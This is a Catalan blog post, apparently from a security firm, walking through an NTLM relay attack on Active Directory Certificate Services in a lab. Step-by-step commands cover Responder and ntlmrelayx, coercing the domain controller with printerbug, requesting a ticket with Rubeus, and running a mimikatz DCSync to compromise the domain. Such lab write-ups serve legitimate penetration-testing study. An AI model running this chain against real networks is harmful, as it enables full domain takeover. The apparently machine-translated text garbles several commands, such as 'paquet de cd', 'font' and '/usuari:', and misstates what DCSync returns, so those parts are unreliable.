Certificate Service Relaying

Servei de retransmissió de certificats

Celia Catalán


Després de forçar una autenticació i obtenir el hash NetNTLM de la contrasenya de l'usuari màquina de la víctima, se'ns presenten diferents escenaris d'explotació que comentarem al llarg de diverses entrades al bloc.

A continuació, parlarem de Certificate Service Relaying amb un exemple pràctic a un laboratori de proves.

En aquest primer cas, l'atac consta de reutilitzar la credencial capturada mitjançant un “Coerce Autentication” per autenticar-se en un Active Directory Certificate Service (ADCS) mal configurat (que ho està per defecte), per poder escalar privilegis en el domini.

A continuació, es mostren algunes de les condicions que s'han de complir per poder fer aquest atac:

  • L'ADCS ha d'estar configurat per acceptar NTLM autenticacions.
  • L'autenticació NTLM no està protegida per EPA o signat SMB.
  • L'ADCS està executant qualsevol dels serveis següents:
    • Servei web de directiva dinscripció de certificats.
    • Servei web dinscripció de certificats.

Resum

Tot seguit, s'explica a grans trets el procés d'explotació d'aquest atac:

1. Aconseguir accés a una xarxa configurada amb Active Directory i una instància ADCS mal configurada. Per a certs atacs de coerce, a més, caldrà comprometre un usuari del domini, independentment dels privilegis d'aquest.

2. Configurar a l'escolta, en un equip controlat per l'atacant, un programari per fer la reutilització de l'autenticació NTLM contra la instància ADCS mal configurada.

3. Forçar l'autenticació del controlador del domini (Qualsevol vulnerabilitat de Coerce Autentication) contra la màquina controlada per l'atacant amb el programari per reutilitzar l'autenticació NTLM.

4. El controlador de domini s'autentica a la màquina controlada per l'atacant.

5. La credencial obtinguda de lusuari màquina del controlador del domini és reutilitzada per autenticar-se sobre lADCS.

6. L'ADCS emet un certificat per a l'usuari de màquina del controlador del domini.

7. Fent ús del certificat obtingut al pas anterior, se sol·licita un tiquet Kerberos TGT.

8. Utilitzar el tiquet TGT de lusuari màquina del controlador de domini per sol · licitar el TGS de qualsevol usuari, o realitzar un DCSync per obtenir el NTDS del domini.

Components del laboratori de proves

A continuació, descrivim breument els actius que es troben al laboratori de proves:

  • Attack_Machine – Aquesta màquina fa referència a una Kali Linux des d'on farem l'atac per obtenir una Coerce Autentication i tenir a l'escolta el programari per a la reutilització de l'autenticació.
  • DC.corp.lab – Controlador de domini amb el domini “corp.lab” configurat, que serà víctima de l'atac. Es configurarà un usuari anomenat “Bob” en aquest domini sense privilegis per emular l'atac des del compromís del mateix.
  • CA.corp.lab – Entitat certificadora dins del domini “corp.lab”.
  • Windows10 - Equip amb sistema operatiu Windows compromès prèviament per l'atacant, dins del domini corp.lab.

Instal·lació de versió específica d'impacket

Per poder desenvolupar aquest atac, cal tenir instal·lada una versió específica d'impacket, que està desenvolupada per poder reutilitzar contra l'ADCS l'autenticació NTLM obtinguda. Per això seguirem els passos següents:

  • Instal·lar el paquet d'entorns virtuals de Python:

                sudo apt install python3-venv


  • Descarregar i comprovar la versió específica d' impacket necessària.


git clone https://github.com/ExAndroidDev/impacket.git

paquet de cd

git checkout ntlmrelayx-adcs-attack


  • Crear un nou entorn virtual i instal·lar les dependències d'impacket
python3 -m venv impacket-adcs-attack
font impacket-adcs-attack/bin/activate 
instal·lació de pip 



Desenvolupament de l'atac


Identificar servei ADCS mal configurat al domini


Després d'instal·lar la versió específica d'impacket, el primer pas que heu de fer és identificar l'ADCS. Per això es podrà fer ús de múltiples eines, entre les quals es troba una nativa de Microsoft anomenada coma certutil .


Després de detectar quin és el servidor, caldrà comprovar si teniu habilitat el servei web d'inscripció de certificats habilitat, per a això accedirem a la següent url des d'un navegador:

http://ca.corp.lab/certsrv/certqus.asp


Cal destacar que en accedir a aquesta URL ens sol·licitarà un usuari i una contrasenya, el qual serà el d'un usuari del domini prèviament compromès (en aquest cas l'usuari “CORP.lab\Bob”).

Un cop arribats a aquest punt, haurem de comprovar si el controlador de domini és vulnerable a algun dels atacs de “Coerce Autentication” explicats a en altres entrades del bloc. En aquest cas, l'explotació la realitzarem abusant de l'MS-RPC anomenat MS-RPRN mitjançant l'script Error de la impressora.

S'haurà de comprovar que el DC té aquest MS-RPC habilitat mitjançant la següent ordre:

python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'


Posada a punt del programari per a la reutilització de l'autenticació NTLM 


A continuació, cal configurar l'entorn de l'atacant per poder fer l'atac de reutilització de contrasenyes. Per fer-ho, s'haurà de configurar l'eina anomenada Respondre de la manera següent:

sudo nano /etc/responder/Responder.conf
SMB = desactivat
HTTP = desactivat



A continuació, s'haurà d'executar tant l'script anomenat com respondre, responsable de capturar la “Coerce autentication” com l'script anomenat com ntlmrelayx prèviament instal·lat, per realitzar la reutilització contra l'ADCS de l'autenticació NTLM obtinguda.

sudo responder -I eth0 -wd



python3 ntlmrelayx.py -debug -smb2support -t http://ca.corp.lab/certsrv/certfnsh.asp  --adcs --template DomainController


Forçar autenticació i obtenció del certificat expedit per l'ADCS

Un cop tenint en execució ambdós scripts, es procedirà a explotar la Coerce Autentication.

python3 printerbug.py "CORP/bob: @dc.corp.lab" attack_machine


Després de l'execució anterior, s'obtindrà el certificat de l'usuari de màquina del dc:


Obtenció del tiquet TGT del controlador de domini

Un cop obtingut el certificat, des de l'equip Windows 10, farem ús de l'eina Rubeus per sol·licitar i importar un tiquet TGT de l'usuari de la màquina del controlador de domini.

.\Rubeus.exe asktgt /dc: /domain:CORP.LAB /user:DC$ /ptt /certificate:


S'haurà de comprovar que el tiquet està correctament importat mitjançant la següent ordre:

klist



Després de comprovar que es troba correctament importat, es podran realitzar diferents accions, com ara sol·licitar el tiquet TGS de l'usuari Administrador del domini:

.\mimikatz.exe
lsadump::dcsync /domain:CORP.lab /usuari:Administrador



Un cop obtingut el TGS de l'usuari administrador del domini és possible autenticar-se al DC amb privilegis elevats i comprometre la totalitat del domini.

Aquest ha estat el primer que esperem que molts escenaris a comentar… I tu, quins coneixes? Fins a la propera entrada.

Dimas Pastor , analista sènior de Zerolynx Group .


Tornar al bloc

Deixa un comentari

Tingueu en compte que els comentaris s'han d'aprovar abans que es publiquin.